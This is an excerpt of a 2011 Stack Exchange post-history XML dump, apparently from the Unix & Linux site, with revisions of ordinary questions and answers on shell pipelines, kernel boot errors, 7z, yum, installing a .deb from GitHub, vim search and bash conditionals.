  <row Id="17820" PostHistoryTypeId="2" PostId="7630" RevisionGUID="58ce5e08-caf1-429d-838d-3bcc57f3ee90" CreationDate="2011-02-18T12:48:01.330" UserId="4595" Text="The different parts can be put in shell functions :&#xD;&#xA;&#xD;&#xA;    awkfilter() {&#xD;&#xA;        awk '{ if ($8 ~ &quot;isad&quot;) {print $2, $5, &quot;SE&quot;} else {print $2, $5, &quot;ANT&quot;} }' $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    toupper() {&#xD;&#xA;        tr [:lower:] [:upper:]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    dosort() {&#xD;&#xA;        sort -t' ' -s -k3&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    awkfilter &quot;/var/log/apache2/other_vhosts_access.log&quot; | grep -v '127.0.0.1' | tr '[' '\0' | toupper | dosort&#xD;&#xA;&#xD;&#xA;then you could make things optionnal more easily :&#xD;&#xA;&#xD;&#xA;    dosort() {&#xD;&#xA;        rev=&quot;&quot;&#xD;&#xA;        if [ &quot;$2&quot; == &quot;reverse&quot; ]&#xD;&#xA;        then&#xD;&#xA;            rev='-r'&#xD;&#xA;        fi&#xD;&#xA;        sort -t' ' -s -k$1 $rev&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When your command-line is starting to be really long, writing it in a script and breaking it in parts (with functions) is usually really helpfull." />
  <row Id="17821" PostHistoryTypeId="5" PostId="7627" RevisionGUID="be1a9d4e-c44a-449f-8a11-ca474906ccf7" CreationDate="2011-02-18T12:48:34.087" UserId="3879" Comment="Script posted" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've a sequence of commands to be used along with lot of pipings, something like this:&#xD;&#xA;&#xD;&#xA;    awk '{ if ($8 ~ &quot;isad&quot;) {print $2, $5, &quot;SE&quot;} else {print $2, $5, &quot;ANT&quot;} }' &quot;/var/log/apache2/other_vhosts_access.log&quot; | grep -v '127.0.0.1' | tr '[' '\0' | tr [:lower:] [:upper:] | sort -t' ' -s -k3&#xD;&#xA;&#xD;&#xA;This basically filters the Apache log and prints three cols of info. First col is IP address, second is time, third is a string. The output could be sorted based on any column so, I need to use '-m' with sort for the time field.  Sorting order could also be reversed. &#xD;&#xA;&#xD;&#xA;I want a string to store the arguments to sort, and let the combined strings get executed. Something like this:&#xD;&#xA;&#xD;&#xA;    $AWK_CMD | $SORT_CMD $SORT_KEY $SORT_REV&#xD;&#xA;&#xD;&#xA;where&#xD;&#xA;&#xD;&#xA;    SORT_CMD=&quot;sort -t' '&quot;&#xD;&#xA;    SORT_KEY=&quot;-k$1&quot;      # $1 from cmd line arg&#xD;&#xA;    SORT_REV=&quot;$2&quot;        # Either -r or blank&#xD;&#xA;&#xD;&#xA;Am able to build such strings; when I echo it, it looks fine. Problem is, how to execute it? I get some errors like:&#xD;&#xA;&#xD;&#xA;    awk '{ if ($8 ~ &quot;isad&quot;) {print $2, $5, &quot;SE&quot;} else {print $2, $5, &quot;ANT&quot;} }' &quot;/var/log/apache2/other_vhosts_access.log&quot; | grep -v '127.0.0.1' | tr '[' '\0' | tr [:lower:] [:upper:] | sort -t' ' -s -k3&#xD;&#xA;    Running ...&#xD;&#xA;    awk: '{&#xD;&#xA;    awk: ^ invalid char ''' in expression&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please ignore if 'sort' doesn't sort properly, that can be fixed. I wish to know how I can build the final command string in steps. The ways I tried to execute this command in the script is by:&#xD;&#xA;&#xD;&#xA;    $final_cmd&#xD;&#xA;    `$final_cmd`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: The script that I'm trying to use&#xD;&#xA;&#xD;&#xA;    KEY=$1      # Values {1, 2, 3}&#xD;&#xA;    REVERSE=$2  # Values {0, 1}	&#xD;&#xA;    &#xD;&#xA;    SORT_CMD=&quot;sort -t' ' -s&quot;&#xD;&#xA;    SORT_KEY=&quot;-k$KEY&quot;&#xD;&#xA;    if [[ $KEY -eq 2 ]]&#xD;&#xA;    then&#xD;&#xA;    	SORT_KEY=&quot;-m -k2&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [[ $REVERSE -eq 1 ]]&#xD;&#xA;    then&#xD;&#xA;    	SORT_REV=&quot;-r&quot;&#xD;&#xA;    else&#xD;&#xA;    	SORT_REV=&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    final_cmd=&quot;awk '{ if (\$8 ~ \&quot;isad\&quot;) {print \$2, \$5, \&quot;SE\&quot;} else {print \$2, \$5, \&quot;ANT\&quot;} }' $LOG_FILE '|' grep -v '127.0.0.1' '|' tr '[' '\0' '|' tr [:lower:] [:upper:] '|' $SORT_CMD $SORT_KEY $SORT_REV&quot;&#xD;&#xA;    &#xD;&#xA;    echo $final_cmd&#xD;&#xA;    echo &quot;Running ...&quot;&#xD;&#xA;    $final_cmd" />
  <row Id="17822" PostHistoryTypeId="2" PostId="7631" RevisionGUID="df40d62f-ddb6-47eb-8e1c-e7d21773117c" CreationDate="2011-02-18T12:57:10.050" UserId="4875" Text="Hi,&#xD;&#xA;    I know this is very common problem and there are many threads discussing it. However after trying many solutions my problem still persists :( &#xD;&#xA;&#xD;&#xA;I have installed ubuntu Lucid which works fine.Then I  downloaded and compiled kernel 2.6.37 from git tree and compiled it using normal compilation process.I created initrd image and called  &#xD;&#xA;&#xD;&#xA;&gt; update-grub&#xD;&#xA;&#xD;&#xA;It detects my initrd image. However,I get following error while booting: &#xD;&#xA;&#xD;&#xA;&gt; Gave up waiting for root device.   &#xD;&#xA;Common problems:  &#xD;&#xA;-Boot args (cat /proc/cmdline)  &#xD;&#xA;-Check rootdelay= (did the system wait long enough?)  &#xD;&#xA;-Check root= (did the system wait for the right device?)  &#xD;&#xA;-Missing modules (cat /proc/modules; ls /dev)  &#xD;&#xA;ALERT! root=UUID=/... does not exist&#xD;&#xA;&#xD;&#xA;And then control falls onto  **initramfs** prompt. &#xD;&#xA;I tried following solutions:&#xD;&#xA;&#xD;&#xA; - Write GRUB_DISABLE_LINUX_UUID=true in /etc/default/grub  &#xD;&#xA; - compile kernel using CONFIG_DEVTMPFS=y &#xD;&#xA;&#xD;&#xA;Still I am unable to boot from the boot the compiled kernel.&#xD;&#xA;Could someone please suggest me some solution . Thank you :) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17823" PostHistoryTypeId="1" PostId="7631" RevisionGUID="df40d62f-ddb6-47eb-8e1c-e7d21773117c" CreationDate="2011-02-18T12:57:10.050" UserId="4875" Text="error  booting the custom compiled kernel 2.6.37 on ubuntu 10.04 : gave up waiting on root device " />
  <row Id="17824" PostHistoryTypeId="3" PostId="7631" RevisionGUID="df40d62f-ddb6-47eb-8e1c-e7d21773117c" CreationDate="2011-02-18T12:57:10.050" UserId="4875" Text="ébootàégrub2àékernelöcompilationà" />
  <row Id="17826" PostHistoryTypeId="2" PostId="7632" RevisionGUID="be07050d-bd81-4a64-8ff1-ff239fef5845" CreationDate="2011-02-18T13:13:03.967" UserId="4876" Text="Use &#xD;&#xA;&#xD;&#xA;&gt; $ perf-record -g &#xD;&#xA;&#xD;&#xA;It will create the cal graph in a file called perf.data. &#xD;&#xA;&#xD;&#xA;and then use following commadn to view report.&#xD;&#xA;&#xD;&#xA;&gt; $ perf report &#xD;&#xA;&#xD;&#xA;See man page of perf-record and report  for details." />
  <row Id="17827" PostHistoryTypeId="2" PostId="7633" RevisionGUID="e92165d4-1df3-4b9a-8f23-3c4e92ba19db" CreationDate="2011-02-18T13:17:39.507" UserId="3879" Text="Comment out that line in your cron and see if the job is still getting executed. Then you'll understand that it is scheduled by someone else too." />
  <row Id="17828" PostHistoryTypeId="2" PostId="7634" RevisionGUID="d9ce6806-2e1b-4fb6-b2b6-545b0e4c75f2" CreationDate="2011-02-18T13:26:35.530" UserId="2511" Text="You don't have some driver required to access your root device. SATA, perhaps, or one of the SCSI modules used by that. Either you didn't build the driver, or you didn't put it in your initrd." />
  <row Id="17830" PostHistoryTypeId="5" PostId="7628" RevisionGUID="e6d7543c-e8cb-44ca-8a11-e0eca9fd173e" CreationDate="2011-02-18T13:47:24.410" UserId="1946" Comment="added 78 characters in body" Text="When you run `awk '{ ... }'` on a shell prompt or from a shell script, shell parses the quotes and passes the argument to `awk` w/o the quotes.  What happens is that you somehow run it with the quotes in parameter.&#xD;&#xA;&#xD;&#xA;Edit: with your update to question, what you need is `sh -c &quot;$final_cmd&quot;`." />
  <row Id="17831" PostHistoryTypeId="2" PostId="7636" RevisionGUID="713b9a99-b053-48d6-acce-abe99bd8bfdb" CreationDate="2011-02-18T13:49:10.680" UserId="4824" Text="One of possible solutions is to chdir to some directory before compressing.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    $ cd data; 7z a ../test.7z *&#xD;&#xA;    $ 7z l ../test.7z&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;       Date      Time    Attr         Size   Compressed  Name&#xD;&#xA;    ------------------- ----- ------------ ------------  ------------------------&#xD;&#xA;    2011-02-18 15:29:53 ....A            6           11  x.txt&#xD;&#xA;    ------------------- ----- ------------ ------------  ------------------------&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Yet another way is using another archiver, e.g. `rar`. It has a lot of useful command line swithes. Your problem can be solved with `-ep/-ep1` options:&#xD;&#xA;&#xD;&#xA;    $ rar a -ep test.rar data&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ rar a -ep1 test.rar data&#xD;&#xA;&#xD;&#xA;The piece of `rar` help:&#xD;&#xA;&#xD;&#xA;      ep            Exclude paths from names&#xD;&#xA;      ep1           Exclude base directory from names&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17832" PostHistoryTypeId="5" PostId="4573" RevisionGUID="af12c452-52ce-4c2d-8bac-1f930a6cf803" CreationDate="2011-02-18T13:50:44.387" UserId="688" Comment="deleted 10 characters in body" Text="I've hardly ever used anything other than [Meld][1]. Can you recommend anything else?&#xD;&#xA;&#xD;&#xA;It would be extra nice if you give a reason for your recommendation (as a Comment).&#xD;&#xA;&#xD;&#xA;[__note__] I want an alternative because Meld has recently lost the feature to copy *entire* contents from one file to another. (maybe it's a bug, who knows)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meld.sourceforge.net/" />
  <row Id="17833" PostHistoryTypeId="2" PostId="7637" RevisionGUID="9a04ba0d-c3cb-46e6-96f1-c106b83cec79" CreationDate="2011-02-18T13:58:29.323" UserId="4669" Text="A comparison of various diff utils. Old but still valid.&#xD;&#xA;&#xD;&#xA;http://amjith.blogspot.com/2007/07/visual-diff-tools-in-linux.html" />
  <row Id="17834" PostHistoryTypeId="2" PostId="7638" RevisionGUID="1bb1233c-dbe3-4eda-b924-8f3ef2e39dee" CreationDate="2011-02-18T14:11:33.847" UserId="3368" Text="Is there a way to install 2 or more packages using one yum command&#xD;&#xA;&#xD;&#xA;    yum install mysql php vsftp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17835" PostHistoryTypeId="1" PostId="7638" RevisionGUID="1bb1233c-dbe3-4eda-b924-8f3ef2e39dee" CreationDate="2011-02-18T14:11:33.847" UserId="3368" Text="Installing multiple packages with one yum command" />
  <row Id="17836" PostHistoryTypeId="3" PostId="7638" RevisionGUID="1bb1233c-dbe3-4eda-b924-8f3ef2e39dee" CreationDate="2011-02-18T14:11:33.847" UserId="3368" Text="éfedoraàéyumà" />
  <row Id="17837" PostHistoryTypeId="25" PostId="7627" RevisionGUID="834829f4-d493-4352-b555-32429c8c31e8" CreationDate="2011-02-18T14:23:05.657" Comment="http://twitter.com/#!/StackUnix/status/38604419142647808" />
  <row Id="17838" PostHistoryTypeId="2" PostId="7639" RevisionGUID="ab187472-8f6c-4306-a51f-936a05f86fa8" CreationDate="2011-02-18T14:25:48.663" UserId="4335" Text="Check [this][1] out.&#xD;&#xA;&#xD;&#xA;PS-Googling it would've yielded quicker result.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxquestions.org/questions/linux-newbie-8/how-to-install-multiple-packages-using-yum-850364/" />
  <row Id="17839" PostHistoryTypeId="2" PostId="7640" RevisionGUID="f11ec23b-a3ee-4f9a-8df9-e360b6ba16cd" CreationDate="2011-02-18T14:34:24.583" UserId="3635" Text="Yes, I do it all the time. Any yum command will work with multiple packages specified, just take a look at the [man page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/yum" />
  <row Id="17840" PostHistoryTypeId="2" PostId="7641" RevisionGUID="3283bf13-e3cc-4a1c-a860-ef863cc817ee" CreationDate="2011-02-18T14:48:16.510" UserId="4784" Text="Hi,&#xD;&#xA;&#xD;&#xA;I would like to download and install the latest .deb-package from github (https://github.com/elbersb/otr-verwaltung/downloads to be exact).&#xD;&#xA;&#xD;&#xA;How can I download the latest package (e.g. otrverwaltung_0.9.1_all.deb) automatically with a script from github?&#xD;&#xA;&#xD;&#xA;What I have tried so far:&#xD;&#xA;&#xD;&#xA;    wget -O- -q --no-check-certificate https://github.com/elbersb/otr-verwaltung/downloads | grep -o -l -e 'otrverwaltung_[0-9.]*_all.deb'&#xD;&#xA;    #The filename should be saved in a variable OTRPACKAGE&#xD;&#xA;    sudo dpkg -i OTRPACKAGE&#xD;&#xA;" />
  <row Id="17841" PostHistoryTypeId="1" PostId="7641" RevisionGUID="3283bf13-e3cc-4a1c-a860-ef863cc817ee" CreationDate="2011-02-18T14:48:16.510" UserId="4784" Text="Download and install latest deb package from github via terminal" />
  <row Id="17842" PostHistoryTypeId="3" PostId="7641" RevisionGUID="3283bf13-e3cc-4a1c-a860-ef863cc817ee" CreationDate="2011-02-18T14:48:16.510" UserId="4784" Text="écommandölineàégitàédpkgà" />
  <row Id="17843" PostHistoryTypeId="2" PostId="7642" RevisionGUID="bcb2a588-0128-4f62-aead-3e1b0a7cf138" CreationDate="2011-02-18T14:54:15.773" UserId="4880" Text="Hi I have a CentOS server based in Chicago which doesn't seem to be providing&#xD;&#xA;fast bandwidth connections to non local users.&#xD;&#xA;&#xD;&#xA;Is there anywhere on the server where this limitation may be configured?&#xD;&#xA;&#xD;&#xA;I am relatively new to Linux so please forgive my ignorance on the matter.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17844" PostHistoryTypeId="1" PostId="7642" RevisionGUID="bcb2a588-0128-4f62-aead-3e1b0a7cf138" CreationDate="2011-02-18T14:54:15.773" UserId="4880" Text="Connections to my server from non-local users are too slow" />
  <row Id="17845" PostHistoryTypeId="3" PostId="7642" RevisionGUID="bcb2a588-0128-4f62-aead-3e1b0a7cf138" CreationDate="2011-02-18T14:54:15.773" UserId="4880" Text="élinuxàécentosàébandwidthà" />
  <row Id="17846" PostHistoryTypeId="2" PostId="7643" RevisionGUID="1fc9fecd-dc21-4713-bd0c-9ef136d536ad" CreationDate="2011-02-18T15:12:54.487" UserId="2511" Text="One *could* configure traffic shaping at the kernel level, or throttle things in various other ways from within the system. But nothing like that is on by default, and I think it's unlikely that someone would have configured it.&#xD;&#xA;&#xD;&#xA;Can you elaborate on &quot;doesn't seem to be providing&quot;? How have you tested? Is this at an application level (for example, a web server)? Are *initial* connections slow but subsequent use fine, or is the whole thing slow? How are your local users connected and how have you tested that?" />
  <row Id="17847" PostHistoryTypeId="2" PostId="7644" RevisionGUID="cda931b6-d884-4677-b817-036d8b5152d7" CreationDate="2011-02-18T16:12:51.320" UserId="4884" Text="My SLES11 box came with Python 2.6 installed. I would like to upgrade to 2.7. What is the easiest way to do this?" />
  <row Id="17848" PostHistoryTypeId="1" PostId="7644" RevisionGUID="cda931b6-d884-4677-b817-036d8b5152d7" CreationDate="2011-02-18T16:12:51.320" UserId="4884" Text="How to do a binary install of Python 2.7 on Suze Linux Enterprise Server 11?" />
  <row Id="17849" PostHistoryTypeId="3" PostId="7644" RevisionGUID="cda931b6-d884-4677-b817-036d8b5152d7" CreationDate="2011-02-18T16:12:51.320" UserId="4884" Text="éinstallàépythonàésuseà" />
  <row Id="17850" PostHistoryTypeId="5" PostId="4573" RevisionGUID="e8fe35cf-a4e1-4976-ac6e-0d84e80b7013" CreationDate="2011-02-18T16:33:24.167" UserId="688" Comment="added 227 characters in body" Text="I've hardly ever used anything other than [Meld][1]. Can you recommend anything else?&#xD;&#xA;&#xD;&#xA;It would be extra nice if you give a reason for your recommendation (as a Comment).&#xD;&#xA;&#xD;&#xA;[__note__] I want an alternative because Meld has recently lost the feature to copy *entire* contents from one file to another. I'm referring to the functionality available via the `Copy To Left/Right` right-click menu item.&#xD;&#xA;&#xD;&#xA;[**update**] I just checked, and the problem was introduced by **1.3.2**. **1.3.1** works well, and the latest I've checked is **1.4.0**, and it doesn't work.&#xD;&#xA;&#xD;&#xA;  [1]: http://meld.sourceforge.net/" />
  <row Id="17851" PostHistoryTypeId="5" PostId="7617" RevisionGUID="8e3ae022-75b0-42ec-9f6b-eea0633b5912" CreationDate="2011-02-18T17:12:20.983" UserId="3611" Comment="added 5 characters in body" Text="When I am editing a LaTeX document in vim, often times I want to search for a phrase.  Because I have LaTeX setup to wrap lines, sometimes half of the phrase will be on one line while the other half is on the next.  In such a case, the search does not find what I'm looking for.  So for example&#xD;&#xA;&#xD;&#xA;blah blah blah hello&lt;br/&gt;&#xD;&#xA;world blah blah blah&#xD;&#xA;&#xD;&#xA;when searching using `/hello world`, I don't find what I'm looking for.  Is there a quick and easy way to modify this search to get me where I want to be?  Or better yet, a way to tell vim to match any white space (space, tab, new line) with a space in the search string?" />
  <row Id="17852" PostHistoryTypeId="25" PostId="7631" RevisionGUID="7414a71c-5464-4d31-a7a4-e47e970e4b33" CreationDate="2011-02-18T17:23:08.120" Comment="http://twitter.com/#!/StackUnix/status/38649728946274304" />
  <row Id="17853" PostHistoryTypeId="2" PostId="7645" RevisionGUID="998af794-fdde-4ac2-bb8a-eb3816e14d03" CreationDate="2011-02-18T17:29:08.617" UserId="1447" Text="I think [xxdiff][1] does what you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://furius.ca/xxdiff/" />
  <row Id="17854" PostHistoryTypeId="2" PostId="7646" RevisionGUID="10639c54-d547-4232-a4a6-a5dd84fb49ed" CreationDate="2011-02-18T17:38:36.957" UserId="3879" Text="Well, I found NetBeans has some plugins for Scala. It has plugins available for many other languages too. Maybe you can give it a try." />
  <row Id="17855" PostHistoryTypeId="5" PostId="7629" RevisionGUID="a4908cd5-9f83-4f21-b80b-d791a05376ef" CreationDate="2011-02-18T17:44:17.997" UserId="4874" Comment="added 538 characters in body; edited tags" Text="I would like to compress file &quot;./data/x.txt&quot; to path &quot;./data/x.7z&quot;.&#xD;&#xA;&#xD;&#xA;When running&#xD;&#xA;&#xD;&#xA;    7z a ./data/x.txt.7z ./data/x.txt&#xD;&#xA;&#xD;&#xA;The file &quot;./data/x.txt&quot; holds&#xD;&#xA;&#xD;&#xA;    data/x.txt&#xD;&#xA;&#xD;&#xA;as opposed to just (what I want)&#xD;&#xA;&#xD;&#xA;    x.txt&#xD;&#xA;&#xD;&#xA;However, I would like 7z to ignore the path &quot;./data&quot; directory inside of the x.7z file.  To clarify, I would like 7z to flatten the directory structure in the 7z file when adding x.txt.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Figured out an alternative that works for me.  I am utilizing [subprocess][1] to call 7z.  The cwd attribute changes the working directory for the subprocess command.  The code below solves my example above, where 'data' is the path that I would like to add a file from.&#xD;&#xA;&#xD;&#xA;    args = [&#xD;&#xA;            '7z',&#xD;&#xA;            'a',&#xD;&#xA;            filename_7z,&#xD;&#xA;            filename,&#xD;&#xA;            ]&#xD;&#xA;    output = subprocess.check_output(args, cwd = 'data').decode(&quot;utf-8&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.python.org/library/subprocess.html" />
  <row Id="17856" PostHistoryTypeId="6" PostId="7629" RevisionGUID="a4908cd5-9f83-4f21-b80b-d791a05376ef" CreationDate="2011-02-18T17:44:17.997" UserId="4874" Comment="added 538 characters in body; edited tags" Text="épythonàécompressionàédirectoryöstructureà" />
  <row Id="17858" PostHistoryTypeId="4" PostId="7644" RevisionGUID="62a00b1f-25a6-4109-a434-6bf367889020" CreationDate="2011-02-18T17:56:57.777" UserId="2511" Comment="change z → s" Text="How to do a binary install of Python 2.7 on SUSE Linux Enterprise Server 11?" />
  <row Id="17859" PostHistoryTypeId="24" PostId="7644" RevisionGUID="74e8c5a6-2568-4371-88d8-562a92839adf" CreationDate="2011-02-18T17:56:57.777" Comment="Proposed by 2511 approved by 73 edit id of 32" />
  <row Id="17860" PostHistoryTypeId="2" PostId="7648" RevisionGUID="06c48b3b-4d57-4277-80cf-06cc12717e79" CreationDate="2011-02-18T18:08:33.607" UserId="2595" Text="I personally would use `[ \t\n]*` instead of spaces. This will match on zero or more of ' ', tab, and newline. This way if one instance of your search pattern spans a line break, but another doesn't, both will be matched." />
  <row Id="17862" PostHistoryTypeId="2" PostId="7649" RevisionGUID="e7ca296b-0e03-4fba-951b-a10076c3b938" CreationDate="2011-02-18T18:37:34.287" UserId="3976" Text="Most likely, you're not going to want to replace the existing python, since that would probably break the existing OS software.&#xD;&#xA;&#xD;&#xA;You could either build a package for python 2.7, and have it install as /usr/bin/python2.7, or install in another location like /usr/local/bin/python.  Or, you could just compile manually and install in /usr/local.  If you're installing to an alternate location, use [make altinstall][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.python.org/release/2.7/using/unix.html#building-python" />
  <row Id="17863" PostHistoryTypeId="2" PostId="7650" RevisionGUID="e1c318e2-9dc6-43bd-9f5d-285f4fc6fde6" CreationDate="2011-02-18T18:45:02.670" UserId="3611" Text="After more searching, it looks like the easiest way to do this is with `\_s`. So for example:&#xD;&#xA;&#xD;&#xA;    /hello\_sworld" />
  <row Id="17864" PostHistoryTypeId="2" PostId="7651" RevisionGUID="139576df-9e8e-410a-b369-94b45db24c46" CreationDate="2011-02-18T18:53:25.990" UserId="3596" Text="I found this little snippet a while ago and have been using it since.  I just have it in my .bashrc file&#xD;&#xA;&#xD;&#xA;    extract () {&#xD;&#xA;    if [ -f $1 ] ; then&#xD;&#xA;        case $1 in&#xD;&#xA;            *.tar.bz2)  tar xjf $1      ;;&#xD;&#xA;            *.tar.gz)   tar xzf $1      ;;&#xD;&#xA;            *.bz2)      bunzip2 $1      ;;&#xD;&#xA;            *.rar)      rar x $1        ;;&#xD;&#xA;            *.gz)       gunzip $1       ;;&#xD;&#xA;            *.tar)      tar xf $1       ;;&#xD;&#xA;            *.tbz2)     tar xjf $1      ;;&#xD;&#xA;            *.tgz)      tar xzf $1      ;;&#xD;&#xA;            *.zip)      unzip $1        ;;&#xD;&#xA;            *.Z)        uncompress $1   ;;&#xD;&#xA;            *)          echo &quot;'$1' cannot be extracted via extract()&quot; ;;&#xD;&#xA;        esac&#xD;&#xA;    else&#xD;&#xA;        echo &quot;'$1' is not a valid file&quot;&#xD;&#xA;    fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17865" PostHistoryTypeId="2" PostId="7652" RevisionGUID="067e3a26-6a53-42aa-b46a-a84a8c1dbb80" CreationDate="2011-02-18T18:54:04.593" UserId="4856" Text="You could try gftp. It's a simple client but it does the job well." />
  <row Id="17866" PostHistoryTypeId="5" PostId="7639" RevisionGUID="987272cf-63d5-4194-87c2-fdfd0844d49f" CreationDate="2011-02-18T19:01:19.743" UserId="73" Comment="deleted 53 characters in body" Text="Check [this][1] out.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxquestions.org/questions/linux-newbie-8/how-to-install-multiple-packages-using-yum-850364/" />
  <row Id="17867" PostHistoryTypeId="5" PostId="7615" RevisionGUID="c8125e5e-fdd6-4cdc-a8c0-6afa5cbb4d6a" CreationDate="2011-02-18T19:06:45.213" UserId="4867" Comment="fixed another typo" Text="This is what I've done for my own scripts:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/awk -f&#xD;&#xA;    BEGIN{ x=0 ; while (x &lt; 5) { x+=1 ; print x ; } }&#xD;&#xA;&#xD;&#xA;The only drawback to this approach is that the path to Awk is hard-coded. This will break when the script is exported via NFS, and the NFS client has Awk installed in a different directory (say, `/bin/awk` versus `/usr/bin/awk`.)&#xD;&#xA;&#xD;&#xA;Setting the executable permission will allow you to directly call the script, without having to use the shell to launch it (you can also leave off the .sh extension, since by convention scripts don't include them):&#xD;&#xA;&#xD;&#xA;    $ chmod +x count&#xD;&#xA;    $ ./count&#xD;&#xA;    1&#xD;&#xA;    2&#xD;&#xA;    3&#xD;&#xA;    4&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17868" PostHistoryTypeId="6" PostId="7617" RevisionGUID="45761579-eba3-4b99-9442-7614f517a079" CreationDate="2011-02-18T19:47:17.587" UserId="885" Comment="edited tags" Text="évimàésearchà" />
  <row Id="17869" PostHistoryTypeId="6" PostId="7629" RevisionGUID="5bda0cd3-acbc-4885-a40e-26643bd20f3f" CreationDate="2011-02-18T19:50:19.830" UserId="885" Comment="edited tags" Text="épythonàécompressionàédirectoryöstructureàé7zà" />
  <row Id="17870" PostHistoryTypeId="2" PostId="7653" RevisionGUID="c0a9c782-3f12-4caf-8579-a640ec724342" CreationDate="2011-02-18T20:16:55.347" UserId="885" Text="    # Find the URL of the .deb file&#xD;&#xA;    url=$(wget -O- -q --no-check-certificate https://github.com/elbersb/otr-verwaltung/downloads |&#xD;&#xA;           sed -ne 's/^.*&quot;\([^&quot;]*otrverwaltung_[^&quot;]*_all\.deb\)&quot;.*/\1/p')&#xD;&#xA;    case $url in&#xD;&#xA;      http://*|https://*) :;;&#xD;&#xA;      /*) url=https://github.com$url;;&#xD;&#xA;      *) url=https://github.com/elbersb/otr-verwaltung/$url;;&#xD;&#xA;    esac&#xD;&#xA;    # Create a temporary directory&#xD;&#xA;    dir=$(mktemp -dt)&#xD;&#xA;    cd &quot;$dir&quot;&#xD;&#xA;    # Download the .deb file&#xD;&#xA;    wget &quot;https://github.com$url&quot;&#xD;&#xA;    # Install the package&#xD;&#xA;    sudo dpkg -i &quot;${url##*/}&quot;&#xD;&#xA;    # Clean up&#xD;&#xA;    rm &quot;${url##*/}&quot;&#xD;&#xA;    cd /&#xD;&#xA;    rmdir &quot;$dir&quot;&#xD;&#xA;" />
  <row Id="17871" PostHistoryTypeId="6" PostId="7641" RevisionGUID="9dd68d20-e444-435d-bb37-84f8d343e03d" CreationDate="2011-02-18T20:17:11.493" UserId="885" Comment="edited tags" Text="éshellàéwgetà" />
  <row Id="17872" PostHistoryTypeId="25" PostId="7644" RevisionGUID="9f85fd53-6217-4412-99d1-bfe6ffa64a45" CreationDate="2011-02-18T20:23:09.630" Comment="http://twitter.com/#!/StackUnix/status/38695032940797952" />
  <row Id="17873" PostHistoryTypeId="6" PostId="7622" RevisionGUID="1b8c44bc-4660-430e-964d-8a2c5f7d1db3" CreationDate="2011-02-18T20:25:25.323" UserId="885" Comment="edited tags" Text="élinuxàéxorgàémonitoràéedidà" />
  <row Id="17874" PostHistoryTypeId="2" PostId="7654" RevisionGUID="5637786e-d4d5-482d-8688-fdbe9dfbc37e" CreationDate="2011-02-18T20:32:25.447" UserId="131" Text="I have my /home partition formatted as ext3. Occassionally, some program that is part of GNOME is giving notifications about there only being 700mb of space left. Nautilius tells me I have 5.6GB. Disk Usage Analyzer tells me I have 10GB. &#xD;&#xA;&#xD;&#xA;Which of these is most accurate, or is there another program that is more accurate?&#xD;&#xA;&#xD;&#xA;What accounts for these different figures?" />
  <row Id="17875" PostHistoryTypeId="1" PostId="7654" RevisionGUID="5637786e-d4d5-482d-8688-fdbe9dfbc37e" CreationDate="2011-02-18T20:32:25.447" UserId="131" Text="How to check accurately the remaining disk space on a partition?" />
  <row Id="17876" PostHistoryTypeId="3" PostId="7654" RevisionGUID="5637786e-d4d5-482d-8688-fdbe9dfbc37e" CreationDate="2011-02-18T20:32:25.447" UserId="131" Text="épartitionàéext3à" />
  <row Id="17877" PostHistoryTypeId="2" PostId="7655" RevisionGUID="c3ed15ca-8878-484b-b71a-7eea3f18897f" CreationDate="2011-02-18T20:37:03.680" UserId="4143" Text="The following script does not behave as I would have expected.  Adding spaces around the '=' in the conditional made it perform how I wanted, but it got me thinking, what is it actually doing inside the conditional?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    S1='foo'&#xD;&#xA;    S2='bar'&#xD;&#xA;    if [ $S1=$S2 ];&#xD;&#xA;    then&#xD;&#xA;        echo &quot;S1('$S1') is equal to S2('$S2')&#xD;&#xA;    fi&#xD;&#xA;    echo $S1&#xD;&#xA;    echo $S2&#xD;&#xA;&#xD;&#xA;The output is:&#xD;&#xA;&#xD;&#xA;    S1('foo') is equal to S2('bar')&#xD;&#xA;    foo&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;The contents of S1 and S2 don't change from what they are assigned, so the = doesn't perform an assignment." />
  <row Id="17878" PostHistoryTypeId="1" PostId="7655" RevisionGUID="c3ed15ca-8878-484b-b71a-7eea3f18897f" CreationDate="2011-02-18T20:37:03.680" UserId="4143" Text="How does bash interpret the equal operator with no surrounding spaces in a conditional?" />
  <row Id="17879" PostHistoryTypeId="3" PostId="7655" RevisionGUID="c3ed15ca-8878-484b-b71a-7eea3f18897f" CreationDate="2011-02-18T20:37:03.680" UserId="4143" Text="ébashàéscriptingà" />
